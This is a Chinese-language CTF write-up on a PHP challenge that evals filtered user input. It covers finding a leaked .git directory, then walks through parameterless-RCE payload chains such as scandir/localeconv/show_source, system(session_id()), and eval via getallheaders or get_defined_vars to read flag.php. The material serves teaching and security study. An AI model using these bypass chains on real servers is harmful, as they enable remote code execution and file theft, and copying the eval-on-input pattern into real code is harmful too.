信息收集

使用目录扫描工具 dirsearch 对其进行扫描,发现存在 .git 目录。

alt text

猜测可能是 git 泄露,使用 GitHacker 工具尝试获取其源码信息。

alt text

分析

得到源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

我们的目标是执行条条判断中的 eval,达到命令执行的效果。首先,我们看下第一个 if 条件:
条件一:

1
preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']));

不能使用 data://filterphp://phar:// 伪协议。
条件二:
接着来看第二个判断:

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

exp 的值只能包含 小写字母_()等字符,其中的 (?R) 表示递归匹配。
也就是说,我们为函数传入参数。经典的无参RCE,请看如下示例:

1
2
3
4
5
a();  // true
a(b()); // true
a(b(c())); // true
a("hello"); // false
a('hello'); // false

那么我们如何在不传入参数的情况下,达到命令执行最终获取 FLAG 呢?其实我们可以通过内置函数的返回值。获取我们想要的结果。
条件三:

1
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {

不能传入etnainfodecbinhexoctpilog 关键字。
总结:

  • 不能使用伪协议: data://filterphp://phar://
  • 不能使用除小写字母、下划线、左右括号的字符
  • 不能使用etnainfodecbinhexoctpilog 关键字

思考

一般CTF题目,flag要么在根目录下,要么在网站根目录下,网站根目录下一般为 flag.php文件,我们先直接访问flag.php发现该文件存在。
目标: 获取 flag.php 文件的内容。

读取 flag.php

scandir(‘.’)

问题一: 如何通过函数的返回值获取到 scandir('.') 中的点呢?
1.chr()

  • 我们需要一个函数生成一个随机数,能获取到46这个值: chr(rand())
    chr()函数接收到一个比255大的数据时,则会将该值与256进行取模运算。每256个包成功一次。
    alt text
  • chr(time()) 每256秒成功一次
  • chr(current(localtime(time()))) 每60秒成功一次

2.current(localeconv()) 推荐

3.phpversion()
phpversion() 返回php版本,如7.3.5
floor(phpversion())返回7
sqrt(floor(phpversion()))返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

4.crypt()
chr(ord(hebrevc(crypt(phpversion())))) 返回 .
hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符

数组操作:
pos() / current() 默认返回数组第一个元素
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

问题二: 如何从数组中取到flag.php?
1.array_reverse() 反转数组

1
var_dump(array_reverse(scandir(current(localeconv()))));

alt text
此时 flag.php 就在第二个元素当中了,我们使用 next() 将指针指向下一个元素 flag.php,最后使用 show_source 查看内容即可:

1
show_source(next(array_reverse(scandir(current(localeconv())))));

alt text
仅限于flag.php文件在倒数第二个。

2.array_rand(array_flip())
其中array_flip()函数用来数组和键之间的交换,而array_rand则用来随机获取键名。
alt text
这种方法适用于flag.php的所在位置的任何场景,但是由于是随机取键,故而需要多试几次。
当然我们可以通过getcwd()函数获取当前工作目录,并直接配合scandir()获取当前目录内容。

1
var_dump(scandir(getcwd()));

但是由于本题过滤了et,故而该函数不能使用。

session()

本题虽然 ban 了 hex 关键字,导致hex2bin()函数无法使用,但是我们可以不依赖十六机制ASCII码的形式,因为 flag.php 字符都是 PHPSESSID 所支持的。
在使用 session 之前,一定要执行session_start()函数,因为默认情况下,PHP是不支持 session 的。
session_id() 函数可以获取到用户在cookie中传入的 PHPSESSID 字段。

1
system(session_id(session_start()));

alt text
alt text

getallheaders()

getallheaders() 函数用于获取用户的请求头信息,该函数是apache_request_headers()的别名函数,并将其转为关联数组。
alt text
如果在请求头底部添加 x1ong: phpinfo(); 很大概念则会在第一个元素或者最后一个元素显示。
因此可以通过current()end() 函数来获取数组的第一个和最后一个元素。

1
2
eval(current(getallheaders()));   // 第一个
eval(end(getallheaders())); // 最后一个

alt text
但是由于本题过滤了 et 关键字,故而故能使用该函数。但是可以尝试使用apache_request_headers(),尝试之后依旧无效。可能由于 PHP 版本缘故。因此该函数只做扩展。不适用于解本题。

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组
效果如下:
alt text
可以看到,内置变量 $_GET$_POST$_COOKIE$_FILES 等变量都在其中。
那么假设我们执行 eval('phpinfo()'); 该如何构造呢?

1
2
eval(end(current(get_defined_vars()))); // 取get的最后一个参数
eval(end(next(get_defined_vars()))); // 取post的最后一个参数
1
?exp=eval(end(current(get_defined_vars())));&x1ong=phpinfo();

本题由于 ban 了 et 关键字,故而不能使用该方法,很多时候,我们也可以使用 $GLOBALS 变量达到与get_defined_vars一样的效果。
alt text

读取文件的方法

1
2
3
4
var_dump(file_get_contents());
show_source();
highlight_file();
readfile();